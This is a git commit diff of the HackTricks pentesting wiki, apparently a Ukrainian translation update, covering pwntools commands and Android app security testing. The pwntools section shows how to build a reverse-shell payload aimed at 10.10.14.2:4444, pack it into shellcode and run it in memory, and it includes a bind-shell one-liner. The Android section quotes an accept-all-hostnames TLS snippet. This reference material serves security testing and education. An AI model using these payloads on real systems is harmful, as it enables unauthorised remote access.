Translated ['src/mobile-pentesting/android-app-pentesting/reversing-nati

This commit is contained in:
Translator 2025-09-30 02:13:01 +00:00
parent 69735cdb94
commit 9ae1a543a1
5 changed files with 483 additions and 316 deletions

View File

@ -353,6 +353,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)

View File

@ -13,10 +13,10 @@ pwn asm -i <filepath>
```
**Можна вибрати:**
- тип виходу (raw, hex, string, elf)
- контекст виходу файлу (16, 32, 64, linux, windows...)
- уникати байтів (нові рядки, нуль, список)
- вибрати кодувальник для налагодження shellcode, використовуючи gdb, запустити вихід
- тип виводу (raw,hex,string,elf)
- контекст вихідного файлу (16,32,64,linux,windows...)
- уникати байтів (new lines, null, a list)
- вибрати encoder, debug shellcode, використовувати gdb для запуску output
## **Pwn checksec**
@ -35,14 +35,14 @@ pwn cyclic -l faad
```
**Можна вибрати:**
- Використовуваний алфавіт (малі літери за замовчуванням)
- Довжина унікального шаблону (за замовчуванням 4)
- Контекст (16,32,64,linux,windows...)
- Взяти зсув (-l)
- Використовуваний алфавіт (за замовчуванням — малі символи)
- Довжина унікального патерну (за замовчуванням 4)
- контекст (16,32,64,linux,windows...)
- Отримати зсув (-l)
## Pwn debug
Прикріпити GDB до процесу
Приєднати GDB до процесу
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
@ -50,31 +50,31 @@ pwn debug --process bash
```
**Можна вибрати:**
- За виконуваним файлом, за ім'ям або за контекстом pid (16,32,64,linux,windows...)
- За executable, за name або за pid context (16,32,64,linux,windows...)
- gdbscript для виконання
- sysrootpath
## Pwn disablenx
Вимкнути nx бінарного файлу
Вимкнути nx для binary
```
pwn disablenx <filepath>
```
## Pwn disasm
Дисасемблюйте шістнадцяткові опкоди
Disas hex opcodes
```
pwn disasm ffe4
```
**Можна вибрати:**
- контекст (16,32,64,linux,windows...)
- базова адреса
- колір(за замовчуванням)/без кольору
- context (16,32,64,linux,windows...)
- base address
- color(default)/no color
## Pwn elfdiff
Друкує відмінності між 2 файлами
Показує відмінності між 2 файлами
```
pwn elfdiff <file1> <file2>
```
@ -92,9 +92,9 @@ pwn phd <file>
```
**Можна вибрати:**
- Кількість байтів для відображення
- Кількість байтів на рядок, виділений байт
- Пропустити байти на початку
- Кількість bytes для відображення
- Кількість bytes на рядок (highlight byte)
- Пропустити bytes на початку
## Pwn pwnstrip
@ -112,37 +112,70 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Можна вибрати:**
- shellcode та аргументи для shellcode
- shellcode та аргументи для нього
- Вихідний файл
- формат виходу
- налагодження (підключити dbg до shellcode)
- перед (налагоджувальна зупинка перед кодом)
- формат виводу
- debug (підключити dbg до shellcode)
- перед (debug trap перед кодом)
- після
- уникати використання opcodes (за замовчуванням: не null та новий рядок)
- уникати використання opcodes (за замовчуванням: not null and new line)
- Запустити shellcode
- Колір/без кольору
- список системних викликів
- список можливих shellcode
- Генерувати ELF як спільну бібліотеку
- список syscalls
- список можливих shellcodes
- Генерувати ELF як shared library
## Шаблон Pwn
## Pwn шаблон
Отримати шаблон python
Отримати python шаблон
```
pwn template
```
**Можна вибрати:** хост, порт, користувач, пароль, шлях та тихий режим
**Можна вибрати:** host, port, user, pass, path and quiet
## Pwn unhex
З шістнадцяткового в рядок
З hex у string
```
pwn unhex 686f6c61
```
## Pwn оновлення
## Pwn update
Щоб оновити pwntools
```
pwn update
```
## ELF → raw shellcode пакування (loader_append)
Pwntools може перетворити автономний ELF у єдиний raw shellcode blob, який самостійно відображає свої сегменти і передає виконання до оригінального entrypoint. Це ідеально для memoryonly loaders (наприклад, Android apps, що викликають JNI для виконання завантажених байтів).
Typical pipeline (amd64 example)
1) Зібрати static, positionindependent payload ELF (рекомендується musl для портативності):
```bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
2) Перетворити ELF → shellcode за допомогою pwntools:
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
```
3) Доставте sc до memory loader (наприклад, через HTTP[S]) та виконайте inprocess.
Примітки
- loader_append вбудовує оригінальну програму ELF у shellcode і генерує невеликий loader, який mmaps сегменти і переходить до entry.
- Явно вказуйте архітектуру через context.clear(arch=...). arm64 часто зустрічається на Android.
- Зробіть код payloadа позиційно-незалежним і не робіть припущень щодо ASLR/NX процесу.
## Посилання
- [Pwntools](https://docs.pwntools.com/en/stable/)
- [CoRPhone ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# Pentesting додатків Android
# Pentesting Android-додатків
{{#include ../../banners/hacktricks-training.md}}
## Основи додатків Android
## Основи Android-додатків
Рекомендується почати з прочитання цієї сторінки, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, та найнебезпечніші компоненти в Android-додатку**:
Сильно рекомендовано почати з читання цієї сторінки, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, і найнебезпечніші компоненти в Android-додатку**:
{{#ref}}
@ -13,15 +13,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Це головний інструмент, який потрібен, щоб підключитися до пристрою Android (емулятор або фізичний).\
**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дозволяє **копіювання** файлів в обох напрямках, **встановлення** та **видалення** додатків, **виконання** shell-команд, **резервне копіювання** даних, **читання** логів та інші функції.
Це основний інструмент, який потрібен для підключення до Android-пристрою (емулятора або фізичного пристрою).\
**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дає змогу **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** shell-команди, **робити резервні копії** даних, **читати** логи та виконувати інші функції.
Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як користуватися adb.
Подивіться на наступний список [**ADB Commands**](adb-commands.md), щоб навчитися використовувати adb.
## Smali
Іноді цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (наприклад, сильно обфусцованих паролів або flags). Тоді може бути корисно декомпілювати apk, змінити код і перекомпілювати його.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди майте на увазі цю можливість**.
Іноді буває корисно **змінити код додатка**, щоб отримати доступ до **прихованої інформації** (наприклад, сильно обфускованих паролів або флагів). У такому випадку може бути цікаво декомпілювати APK, змінити код і повторно скомпілювати його.\
[**У цьому посібнику** ви можете **навчитися декомпілювати APK, змінювати Smali-код і знову компілювати APK** з новою функціональністю](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Тому **завжди майте на увазі цю можливість**.
## Інші цікаві трюки
@ -29,7 +29,7 @@ android-applications-basics.md
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Завантажити APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Витягнути APK з пристрою:
```bash
adb shell pm list packages
@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Static Analysis
## Статичний аналіз
Перш за все, для аналізу APK слід **подивитися Java код** за допомогою декомпілятора.\
По-перше, для аналізу APK слід **переглянути Java-код** за допомогою декомпілятора.\
Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні decompilers**](apk-decompilers.md).
### Пошук цікавої інформації
Просто переглянувши **strings** APK, ви можете шукати **паролі**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** і все, що може бути цікавим... шукайте навіть кодові виконувані **backdoors** або бекдори автентифікації (хардкодені admin credentials для додатку).
Навіть переглядаючи лише **strings** APK, можна шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** та інше цікаве... перевіряйте також наявність кодових виконуваних **backdoors** або авторизаційних backdoors (hardcoded admin credentials у додатку).
**Firebase**
Зверніть особливу увагу на **Firebase URLs** і перевірте, чи коректно він налаштований. [Більше інформації про те, що таке Firebase і як це експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Зверніть особливу увагу на **firebase URLs** і перевірте, чи не погано він налаштований. [Більше інформації про те, що таке Firebase і як це експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Базове розуміння застосунку - Manifest.xml, strings.xml
**Перевірка файлів _Manifest.xml_ та _strings.xml_ додатку може виявити потенційні вразливості безпеки**. До цих файлів можна отримати доступ за допомогою decompilers або перейменувавши розширення APK на .zip і розпакувавши його.
**Огляд файлів застосунку _Manifest.xml_ та _strings.xml_ може виявити потенційні проблеми безпеки**. Ці файли можна переглянути за допомогою декомпіляторів або перейменувавши розширення APK на .zip і розпакувавши його.
**Вразливості**, які можна визначити з **Manifest.xml**, включають:
**Вразливості**, які можуть бути виявлені у **Manifest.xml**:
- **Debuggable Applications**: Додатки, вказані як debuggable (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють підключення, що може призвести до експлуатації. Для детальнішого розуміння того, як використовувати debuggable додатки, зверніться до навчального матеріалу про знаходження і експлуатацію debuggable додатків на пристрої.
- **Backup Settings**: Атрибут `android:allowBackup="false"` має бути явно вказаний для додатків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли USB debugging увімкнено.
- **Network Security**: Користувацькі конфігурації network security (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як certificate pins і налаштування HTTP трафіку. Приклад — дозволити HTTP трафік для певних доменів.
- **Exported Activities and Services**: Виявлення exported activities та services у манифесті може вказати на компоненти, які можуть бути неправильно використані. Подальший аналіз під час dynamic testing може показати, як експлуатувати ці компоненти.
- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або модифікацію даних. Конфігурацію FileProviders також слід ретельно перевірити.
- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, зверніть особливу увагу на те, як URL schemes обробляються щодо уразливостей введення.
- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують підтримувані версії Android, підкреслюючи важливість відмови від підтримки застарілих, вразливих версій Android з міркувань безпеки.
- **Debuggable Applications**: Застосунки, позначені як debuggable (`debuggable="true"`) у _Manifest.xml_, становлять ризик, оскільки дозволяють підключення, що може призвести до експлуатації. Для детальнішого розуміння того, як експлуатувати debuggable застосунки, зверніться до керівництва щодо знаходження та експлуатації debuggable додатків на пристрої.
- **Backup Settings**: Атрибут `android:allowBackup="false"` повинен бути явно вказаний для застосунків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню через adb, особливо коли usb debugging увімкнено.
- **Network Security**: Користувацькі конфігурації безпеки мережі (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть визначати деталі безпеки, як-от certificate pins та налаштування HTTP-трафіку. Приклад — дозвіл HTTP-трафіку для конкретних доменів.
- **Exported Activities and Services**: Ідентифікація exported activities та services в маніфесті може вказати на компоненти, які можуть бути зловживані. Подальший аналіз під час динамічного тестування може виявити способи експлуатації цих компонентів.
- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або зміну даних. Конфігурацію FileProviders також слід ретельно перевірити.
- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, зверніть особливу увагу на те, як обробляються URL schemes для вразливостей при введенні.
- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, що підкреслює важливість не підтримувати застарілі, вразливі версії Android з міркувань безпеки.
У файлі **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші нотатки розробника, що підкреслює необхідність ретельного перегляду цих ресурсів.
З файлу **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші нотатки розробників, тому ці ресурси потребують ретельного перегляду.
### Tapjacking
**Tapjacking** — це атака, коли **шкідливий** **додаток** запускається і **розміщується поверх застосунку-жертви**. Коли він візуально перекриває додаток-жертву, його інтерфейс спроектований так, щоб обдурити користувача і змусити його взаємодіяти з ним, при цьому взаємодія передається у додаток-жертву.\
Фактично це **приосліплює користувача**, через що він не знає, що насправді виконує дії у додатку-жертві.
**Tapjacking** — це атака, коли **malicious** **application** запускається і **розміщується поверх жертви-додатку**. Коли воно візуально закриває жертву, інтерфейс створений таким чином, щоб обдурити користувача й змусити його взаємодіяти з ним, при цьому подія передається до жертви.\
Фактично, це **слепить користувача, не даючи йому зрозуміти, що він насправді виконує дії у жертві**.
Дізнайтеся більше у:
Детальніше шукайте у:
{{#ref}}
@ -104,82 +104,82 @@ tapjacking.md
### Task Hijacking
Активність з `launchMode`, встановленим у **`singleTask` без визначеного `taskAffinity`**, вразлива до Task Hijacking. Це означає, що **шкідливий додаток** може бути встановлений і якщо він буде запущений перед реальним додатком, він може **перехопити task реального додатку** (тому користувач взаємодіятиме зі **шкідливим додатком, думаючи, що це реальний**).
Активність з `launchMode`, встановленим на **`singleTask` без визначеного `taskAffinity`**, вразлива до Task Hijacking. Це означає, що **application** може бути інстальовано і, якщо його запустити перед справжнім застосунком, воно може **перехопити task справжнього застосунку** (тому користувач взаємодіятиме з **malicious application**, думаючи, що використовує реальний).
Детальніше тут:
Детальніше у:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### Небезпечне зберігання даних
### Ненадійне зберігання даних
**Внутрішнє сховище**
Internal Storage
В Android файли, **збережені** у **internal** storage, **призначені** для доступу виключно тим **додатком**, який їх **створив**. Цей захід безпеки **застосовується** операційною системою Android і зазвичай достатній для потреб більшості додатків. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **бути доступними** між різними додатками. Ці режими, проте, **не обмежують доступ** до файлів іншими додатками, включно з потенційно шкідливими.
У Android файли, **збережені** у **internal** storage, спроектовані так, щоб бути **доступні лише додатку**, який їх створив. Ця міра безпеки **примусово застосовується** операційною системою Android і зазвичай є достатньою для потреб більшості застосунків. Однак розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` та `MODE_WORLD_WRITABLE`, щоб **дозволити** файлам **обмінюватися** між різними додатками. Ці режими **не обмежують доступ** до файлів іншими додатками, включно з потенційно шкідливими.
1. **Static Analysis:**
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевірено**. Ці режими **можуть потенційно відкрити** файли для **непередбачуваного або несанкціонованого доступу**.
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` та `MODE_WORLD_WRITABLE` **ретельно перевірене**. Ці режими **можуть потенційно виставити** файли для **непередбаченого або несанкціонованого доступу**.
2. **Dynamic Analysis:**
- **Перевірте** дозволи, встановлені на файлах, створених додатком. Зокрема, **перевірте**, чи будь-які файли **налаштовані як readable або writable worldwide**. Це може створити значний ризик безпеки, оскільки дозволить **будь-якому встановленому додатку** на пристрої, незалежно від його походження або намірів, **читати або змінювати** ці файли.
- **Перевірте** дозволи, встановлені на файлах, які створює додаток. Зокрема, **перевіряйте**, чи будь-які файли **встановлені як читаємими або записуваними для всіх**. Це може бути серйозним ризиком безпеки, оскільки дозволяє **будь-якому додатку**, встановленому на пристрої, незалежно від походження чи намірів, **читати або модифікувати** ці файли.
**Зовнішнє сховище**
External Storage
При роботі з файлами на **external storage**, таких як SD Card, слід враховувати такі запобіжні заходи:
При роботі з файлами на **external storage**, таких як SD Cards, варто врахувати такі застереження:
1. **Доступність**:
- Файли на external storage **доступні для читання і запису глобально**. Це означає, що будь-який додаток або користувач може отримати до них доступ.
- Файли на external storage є **загальнодоступними для читання та запису**. Це означає, що будь-який додаток або користувач може отримати доступ до цих файлів.
2. **Проблеми безпеки**:
- Через простоту доступу не рекомендується **зберігати чутливу інформацію** на external storage.
- External storage може бути вилучене або доступне будь-якому додатку, що робить його менш безпечним.
- Через легкість доступу не рекомендується **зберігати чутливу інформацію** на external storage.
- External storage можна вилучити або до нього може отримати доступ будь-який додаток, що робить його менш безпечним.
3. **Обробка даних з external storage**:
- Завжди **виконуйте валідацію введення** для даних, отриманих з external storage. Це критично, оскільки такі дані походять з недовіреного джерела.
- Завжди **виконуйте перевірку введення** для даних, отриманих з external storage. Це критично, оскільки дані походять з ненадійного джерела.
- Не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження.
- Якщо ваш додаток повинен отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок важливий для збереження цілісності безпеки вашого додатку.
- Якщо вашому застосунку все ж потрібно завантажувати виконувані файли з external storage, переконайтесь, що ці файли **підписані та криптографічно перевірені** перед динамічним завантаженням. Цей крок є критичним для збереження цілісності безпеки застосунку.
External storage можна **знайти** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
External storage можна **доступитися** за шляхами /storage/emulated/0 , /sdcard , /mnt/sdcard
> [!TIP]
> Починаючи з Android 4.4 (**API 17**), SD card має структуру директорій, яка **обмежує доступ додатку лише до директорії, призначеної конкретно для цього додатку**. Це перешкоджає шкідливим додаткам отримувати доступ для читання або запису до файлів іншого додатку.
> Починаючи з Android 4.4 (**API 17**), на SD карті існує структура директорій, яка **обмежує доступ додатка лише до директорії, що спеціально призначена для цього додатка**. Це запобігає отриманню зловмисним додатком прав читання або запису до файлів іншого застосунку.
**Чутливі дані, збережені у відкритому тексті**
- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли в шляху `/data/data/<packagename>/shared_prefs/` і іноді в цій папці можна знайти чутливу інформацію у відкритому тексті.
- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite бази даних в шляху `/data/data/<packagename>/databases/` і іноді в цій папці можна знайти чутливу інформацію у відкритому тексті.
- **Shared preferences**: Android дозволяє кожному додатку зберігати xml-файли у шляху `/data/data/<packagename>/shared_prefs/`, і іноді в цій теці можна знайти чутливу інформацію у відкритому тексті.
- **Databases**: Android дозволяє кожному додатку зберігати sqlite бази даних у шляху `/data/data/<packagename>/databases/`, і іноді в цій теці можна знайти чутливу інформацію у відкритому тексті.
### Broken TLS
### Проблеми з TLS
**Accept All Certificates**
Accept All Certificates
З якоїсь причини розробники іноді приймають усі сертифікати, навіть якщо, наприклад, hostname не збігається, з рядками коду на кшталт наступного:
З якоїсь причини іноді розробники приймають усі сертифікати, навіть якщо, наприклад, hostname не збігається, з рядками коду, подібними до наведених нижче:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Хороший спосіб перевірити це — спробувати перехопити трафік за допомогою proxy, наприклад Burp, не авторизувавши Burp CA на пристрої. Також можна згенерувати в Burp сертифікат для іншого hostname і використати його.
Добрий спосіб перевірити це — спробувати перехопити трафік за допомогою проксі на кшталт Burp без авторизації Burp CA на самому пристрої. Також можна згенерувати в Burp сертифікат для іншого hostname і використати його.
### Ненадійна криптографія
**Недостатні процеси управління ключами**
**Неналежні процеси керування ключами**
Деякі розробники зберігають чутливі дані в локальному сховищі і шифрують їх ключем, захардкоженим/передбачуваним у коді. Так робити не слід, оскільки деякий reversing може дозволити зловмисникам витягти конфіденційну інформацію.
Деякі розробники зберігають конфіденційні дані в локальному сховищі й шифрують їх ключем, захардкоженим або передбачуваним у коді. Так робити не слід, оскільки реверсінг може дозволити атакам отримати ці дані.
**Використання небезпечних та/або застарілих алгоритмів**
**Використання небезпечних і/або застарілих алгоритмів**
Розробники не повинні використовувати **deprecated algorithms** для виконання авторизаційних **checks**, **store** або **send** даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо для збереження паролів, наприклад, використовуються **hashes**, слід застосовувати brute-force **resistant** hashes із salt.
Розробникам не слід використовувати **deprecated algorithms** для виконання авторизаційних **checks**, для **store** або **send** даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо, наприклад, **hashes** використовуються для зберігання паролів, потрібно застосовувати хеші, стійкі до brute-force, з сіллю.
### Інші перевірки
- Рекомендовано **obfuscate the APK**, щоб ускладнити reverse engineering для зловмисників.
- Якщо додаток чутливий (наприклад bank apps), він повинен виконувати власні перевірки, щоб з’ясувати, чи мобільний пристрій **is rooted**, і діяти відповідно.
- Якщо додаток чутливий (наприклад bank apps), він повинен перевіряти, чи використовується **emulator**.
- Якщо додаток чутливий (наприклад bank apps), він повинен **check it's own integrity before executing** щоб переконатися, що його не було змінено.
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD) щоб перевірити, який compiler/packer/obfuscator був використаний для збірки APK
- Рекомендується **обфускувати APK**, щоб ускладнити роботу реверс-інженерів.
- Якщо додаток чутливий (наприклад bank apps), він має виконувати власні перевірки, щоб визначити, чи пристрій rooted, і діяти відповідно.
- Якщо додаток чутливий (наприклад bank apps), варто перевіряти, чи використовується **emulator**.
- Якщо додаток чутливий (наприклад bank apps), він має **перевіряти власну цілісність перед виконанням**, щоб упевнитися, що його не було змінено.
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який compiler/packer/obfuscator був використаний для побудови APK
### React Native Application
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до javascript коду React застосунків:
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до javascript коду React додатків:
{{#ref}}
@ -188,7 +188,7 @@ react-native-application.md
### Xamarin Applications
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до C# коду xamarin застосунків:
Прочитайте наступну сторінку, щоб дізнатися, як легко отримати доступ до C# коду xamarin додатків:
{{#ref}}
@ -197,17 +197,17 @@ react-native-application.md
### Superpacked Applications
Згідно з цим [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked — це Meta алгоритм, який стискає вміст застосунку в один файл. Блог розповідає про можливість створити додаток, який розпаковує такого роду застосунки... і про швидший спосіб, який передбачає **execute the application and gather the decompressed files from the filesystem.**
Згідно з цим [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked — це Meta алгоритм, який стискає вміст додатку в один файл. У блозі йдеться про можливість створити додаток, який розпаковує такого роду апки... та про швидший спосіб, який передбачає **запуск додатку і збір розпакованих файлів з файлової системи.**
### Automated Static Code Analysis
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатен знаходити **vulnerabilities** шляхом **scanning** **code** застосунку. Цей інструмент містить серію **known sources** (які вказують інструменту **places**, де **input** **controlled by the user**), **sinks** (які вказують інструменту **dangerous** **places**, де зловмисний користувацький ввід може завдати шкоди) та **rules**. Ці правила вказують **combination** **sources-sinks**, що означає вразливість.
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатен знаходити **vulnerabilities**, просканувавши **code** додатку. Цей інструмент містить набір **known sources** (вказує місця, де **input** контролюється користувачем), **sinks** (вказує **dangerous** місця, де зловмисний ввід може завдати шкоди) та **rules**. Ці правила визначають **combination** джерел та sinks, що сигналізує про вразливість.
Завдяки цьому знанню, **mariana-trench will review the code and find possible vulnerabilities on it**.
Завдяки цьому **mariana-trench перегляне код і знайде можливі вразливості**.
### Secrets leaked
Застосунок може містити secrets (API keys, passwords, hidden urls, subdomains...) всередині, які ви можете виявити. Ви можете використати інструмент, такий як [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Додаток може містити secrets (API keys, passwords, hidden urls, subdomains...) всередині, які ви можете виявити. Ви можете використати інструмент на кшталт [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -221,7 +221,12 @@ bypass-biometric-authentication-android.md
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Прочитайте це, щоб дізнатися **how to reverse native functions**](reversing-native-libraries.md)
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
### **Other tricks**
@ -234,56 +239,56 @@ content-protocol.md
---
## Динамічний аналіз
## Dynamic Analysis
> По-перше, вам потрібне середовище, де ви можете встановити застосунок і все оточення (Burp CA cert, Drozer and Frida в основному). Тому настійно рекомендується використовувати rooted пристрій (емулятор чи ні).
> По-перше, вам потрібне середовище, де можна встановити додаток і все оточення (Burp CA cert, Drozer і Frida в першу чергу). Тому strongly рекомендується мати rooted пристрій (емулятор або фізичний).
### Онлайн динамічний аналіз
### Online Dynamic analysis
Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io/). Ця платформа дозволяє **upload** та **execute** APK, тому вона корисна, щоб побачити, як apk поводиться.
Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io). Ця платформа дозволяє **upload** і **execute** APK, тому вона корисна, щоб побачити, як apk поводиться.
Ви навіть можете **see the logs of your application** в вебі та підключитися через **adb**.
Ви навіть можете **see the logs of your application** у вебі і підключитися через **adb**.
![](<../../images/image (831).png>)
Завдяки ADB з’єднанню ви можете використовувати **Drozer** та **Frida** всередині емулаторів.
Завдяки ADB-підключенню ви можете використовувати **Drozer** і **Frida** всередині емульованого середовища.
### Локальний динамічний аналіз
### Local Dynamic Analysis
#### Використання емулятора
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і згідно з [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** версії **support ARM libraries** без потреби в повільному arm емуляторі).
- Дізнайтесь, як налаштувати це на цій сторінці:
- [**Android Studio**](https://developer.android.com/studio) (ви можете створювати **x86** та **arm** пристрої, і згідно з [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** версії **підтримують ARM бібліотеки** без потреби у повільному ARM емуляторі).
- Навчіться налаштовувати це на цій сторінці:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, потрібно створити акаунт. _Рекомендується **download** версію **WITH**_ _**VirtualBox** щоб уникнути потенційних помилок._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, потрібно створити акаунт. _Рекомендується **download** версію **WITH** _**VirtualBox** щоб уникнути потенційних помилок._)
- [**Nox**](https://es.bignox.com) (Free, але не підтримує Frida або Drozer).
> [!TIP]
> Коли створюєте новий емулатор на будь-якій платформі, пам’ятайте, що чим більший екран, тим повільніше працюватиме емулятор. Тому за можливості обирайте менші екрани.
> При створенні нового емулятора на будь-якій платформі пам'ятайте, що чим більший екран — тим повільніше працюватиме емулятор. Тому за можливості обирайте невеликі екрани.
Щоб **install google services** (наприклад AppStore) в Genymotion, потрібно натиснути на червону кнопку, позначену на наступному зображенні:
Щоб **install google services** (типу AppStore) в Genymotion потрібно натиснути на червону позначену кнопку на наступному зображенні:
![](<../../images/image (277).png>)
Також зверніть увагу, що в **configuration of the Android VM in Genymotion** ви можете обрати **Bridge Network mode** (це буде корисно, якщо ви підключатиметесь до Android VM з іншої VM з інструментами).
Також зверніть увагу, що в **configuration of the Android VM in Genymotion** можна вибрати **Bridge Network mode** (це буде корисно, якщо ви підключатиметесь до Android VM з іншої VM з інструментами).
#### Використання фізичного пристрою
#### Use a physical device
Вам потрібно активувати опції **debugging** і бажано, щоб ви могли його **root**:
Потрібно активувати **debugging** опції, і було б добре, якщо ви зможете **root** його:
1. **Settings**.
